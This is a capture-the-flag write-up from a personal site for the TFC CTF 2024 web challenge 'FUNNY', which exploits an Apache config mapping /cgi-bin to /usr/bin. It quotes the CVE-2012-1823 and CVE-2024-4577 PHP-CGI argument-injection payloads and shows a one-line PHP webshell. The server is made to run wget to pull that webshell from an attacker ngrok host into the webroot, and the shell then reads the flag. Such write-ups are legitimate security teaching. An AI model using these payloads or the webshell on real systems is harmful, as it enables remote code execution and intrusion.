siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

FUNNY

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

This challenge is HILARIOUS!

Enumeration

Index page:

In here, there’s a button that says “Generate Joke”. Let’s click on it!

When we clicked the “Generate Joke” button, it’ll send a GET request to / with GET parameter new_joke.

Hmm… Not much we can do in here. Let’s read this web application’s source code!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|16:09:44(HKT)]
└> file funny.zip 
funny.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|16:09:46(HKT)]
└> unzip funny.zip          
Archive:  funny.zip
   creating: funny/
   creating: funny/config/
  inflating: funny/config/httpd.conf  
   creating: funny/public-html/
  inflating: funny/public-html/index.php  
  inflating: funny/public-html/hacker.png  
  inflating: funny/Dockerfile        

After reading it a little bit, we quickly found that funny/public-html/index.php is useless for us. Basically it picks a random item in an array and outputs it:

<?php 
  $jokes = ["Why did the hacker go broke? He used up all his cache.", "Why was the JavaScript reality show cancelled after one episode? People thought it was too scripted.", "Why do programmers prefer dark mode? Light attracts bugs."];

  if (isset($_GET['new_joke'])) {
    echo $jokes[array_rand($jokes)];
  }
?>

What most interesting for us, is the Apache configuration file, funny/config/httpd.conf.

If we take a look at the config file, we should see the following config:

LoadModule cgi_module modules/mod_cgi.so
[...]
ScriptAlias /cgi-bin /usr/bin
Action php-script /cgi-bin/php-cgi
AddHandler php-script .php

<Directory /usr/bin>
    Order allow,deny
    Allow from all
</Directory>

First, it loads the cgi_module Apache module.

The CGI (Common Gateway Interface) defines a way for a web server to interact with external content-generating programs, which are often referred to as CGI programs or CGI scripts. It is a simple way to put dynamic content on your web site, using whatever programming language you’re most familiar with. This document will be an introduction to setting up CGI on your Apache web server, and getting started writing CGI programs. - https://httpd.apache.org/docs/current/howto/cgi.html

Basically when a user sends a request to a path that binds to a CGI script, the web server runs the CGI script and return the result back to the user.

In our case, request path /cgi-bin is bind to OS path /usr/bin. So, whenever a user visit request path /cgi-bin, the web server will go to OS path /usr/bin:

ScriptAlias /cgi-bin /usr/bin

Then, if the user requested a path that ends with extension .php, the web server parses the PHP script to PHP CGI. Effectively executing PHP scripts with PHP CGI instead of the PHP interpreter:

Action php-script /cgi-bin/php-cgi
AddHandler php-script .php

Finally, the OS directory /usr/bin is allowed to anyone from accessing it:

<Directory /usr/bin>
    Order allow,deny
    Allow from all
</Directory>

Hmm… So this Apache config allows us to visit anything in /usr/bin via request path /cgi-bin??

Since OS directory /usr/bin is a place to store different binaries, what happens if we send a request to /cgi-bin/<whatever_binary>? Will it execute the binary?

To test it, we can build a local testing environment via Docker.

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY/funny)-[2024.08.05|16:34:10(HKT)]
└> docker build --tag funny:latest .
[...]
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY/funny)-[2024.08.05|16:34:33(HKT)]
└> docker run -p 80:1337 funny:latest
[...]

Now we should be able to test it in our localhost.

Let’s try executing binary whoami:

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|16:37:11(HKT)]
└> curl http://localhost/cgi-bin/whoami
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
[...]

Hmm… It respond us with HTTP status code “500 Internal Server Error”.

What’s the Docker container’s log message?

[Mon Aug 05 08:37:31.906129 2024] [cgi:error] [pid 9:tid 31] [client 172.17.0.1:56694] malformed header from script 'whoami': Bad header: www
172.17.0.1 - - [05/Aug/2024:08:37:31 +0000] "GET /cgi-bin/whoami HTTP/1.1" 500 600 "-" "curl/8.8.0"

Huh? “malformed header from script 'whoami': Bad header: www”. As you can see, it returned Bad header: www, so it must be executed. However, due to the malformed HTTP response, Apache returned HTTP status code “500 Internal Server Error”.

Hmm… I wonder if we can inject arbitrary arguments. If we can, it opens a lot of options to possibly exfiltrate the flag.

After researching about “PHP CGI argument injection”, we can see CVE-2024-4577 found by researcher Orange Tsai, as well as CVE-2012-1823.

In CVE-2024-4577, it only affects Windows machine with PHP CGI, default XAMPP config, and a very specific system locale, which is completely useless in our case.

In CVE-2012-1823, it only affects PHP version before 5.3.12 or before 5.4.2. In our case, the PHP version is 8.3.10, which is not affected:

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|16:40:44(HKT)]
└> curl -v http://localhost/                
[...]
< HTTP/1.1 200 OK
< Date: Mon, 05 Aug 2024 08:47:59 GMT
< Server: Apache/2.4.62 (Unix)
< X-Powered-By: PHP/8.3.10
[...]

However, both of them have a very similar payload:

CVE-2012-1823:
/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp%3a//input

CVE-2024-4577:
/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input=null

As you can see, we can inject arbitrary arguments via the query delimiter (?)!

Let’s try it!

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|16:58:15(HKT)]
└> curl http://localhost/cgi-bin/id
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
[...]
[Mon Aug 05 08:58:19.964017 2024] [cgi:error] [pid 101:tid 105] [client 172.17.0.1:55986] malformed header from script 'id': Bad header: uid=1000(www) gid=1000(www) gr
172.17.0.1 - - [05/Aug/2024:08:58:19 +0000] "GET /cgi-bin/id HTTP/1.1" 500 600 "-" "curl/8.8.0"
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|16:58:19(HKT)]
└> curl http://localhost/cgi-bin/id?-u
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
[...]
[Mon Aug 05 08:58:22.251355 2024] [cgi:error] [pid 9:tid 83] [client 172.17.0.1:55990] malformed header from script 'id': Bad header: 1000
172.17.0.1 - - [05/Aug/2024:08:58:22 +0000] "GET /cgi-bin/id?-u HTTP/1.1" 500 600 "-" "curl/8.8.0"

It worked! The normal id command returned uid=1000(www) gid=1000(www) gr, while with argument -u returned 1000!

Hmm… Now I wonder which binary we can leverage to exfiltrate the flag.

To see all the binaries in /usr/bin/, we can spawn a remote shell inside the Docker container:

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:01:41(HKT)]
└> docker container list
CONTAINER ID   IMAGE          COMMAND                 CREATED          STATUS          PORTS                                   NAMES
5687676ad31e   funny:latest   "httpd -D FOREGROUND"   25 minutes ago   Up 25 minutes   0.0.0.0:80->1337/tcp, :::80->1337/tcp   amazing_mclaren 
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:01:56(HKT)]
└> docker exec -it 5687676ad31e /bin/sh  
/ # cd /usr/bin/
/usr/bin/ # ls -lah
total 11M
drwxr-xr-x 1 root root  12K Aug  3 11:10  .
drwxr-xr-x 1 root root 4.0K Aug  3 11:10  ..
lrwxrwxrwx 1 root root    9 Aug  3 11:10 '[' -> coreutils
lrwxrwxrwx 1 root root   12 Jul 22 14:34 '[[' -> /bin/busybox
-rwxr-xr-x 1 root root  27K Mar 27 17:11  autopoint
lrwxrwxrwx 1 root root   12 Jul 22 14:34  awk -> /bin/busybox
lrwxrwxrwx 1 root root    9 Aug  3 11:10  b2sum -> coreutils
[...]

After finding which binary we can take advantage of, I found the wget binary:

/usr/bin # ls -lah wget
lrwxrwxrwx 1 root root 12 Jul 22 14:34 wget -> /bin/busybox

Ah ha! We can use wget to write a PHP webshell into a publicly accessible path!

Note: There’re many more different ways to achieve the same goal.

But wait, where’s the publicly accessible path, the webroot of this web application?

In the Apache config file, we can see this:

# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot /var/www/public

So, the webroot of this web application is /var/www/public, which means we can write our PHP webshell file into that directory!

Exploitation

Armed with above information, to exploit this, we can:

┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:05:46(HKT)]
└> echo -n '<?php system($_GET["cmd"]);?>' > webshell.php
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:06:01(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:05:42(HKT)]
└> ngrok http 8000
[...]
Forwarding                    https://9085-{REDACTED}.ngrok-free.app -> http://localhost:8000
[...]
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:09:02(HKT)]
└> curl http://challs.tfcctf.com:30472/cgi-bin/wget?https://9085-{REDACTED}.ngrok-free.app/webshell.php+-O+/var/www/public/webshell.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
[...]

Which should receive this log message:

127.0.0.1 - - [05/Aug/2024 17:09:48] "GET /webshell.php HTTP/1.1" 200 -
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:09:48(HKT)]
└> curl http://challs.tfcctf.com:30472/webshell.php?cmd=id
uid=1000(www) gid=1000(www) groups=1000(www)
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:11:36(HKT)]
└> curl http://challs.tfcctf.com:30472/webshell.php?cmd=ls+-lah+/
[...]
-rw-r--r--   1 root root   59 Aug  3 09:59 flag.txt
[...]
┌[siunam♥Mercury]-(~/ctf/TFC-CTF-2024/Web/FUNNY)-[2024.08.05|17:11:39(HKT)]
└> curl http://challs.tfcctf.com:30472/webshell.php?cmd=cat+/flag.txt
TFCCTF{1_4lm0st_f0rg0t_t0_push_th1s_fl4g_t0_th3_c0nt4in3r}

Conclusion

What we’ve learned:

  1. Apache CGI misconfiguration to Remote Code Execution (RCE)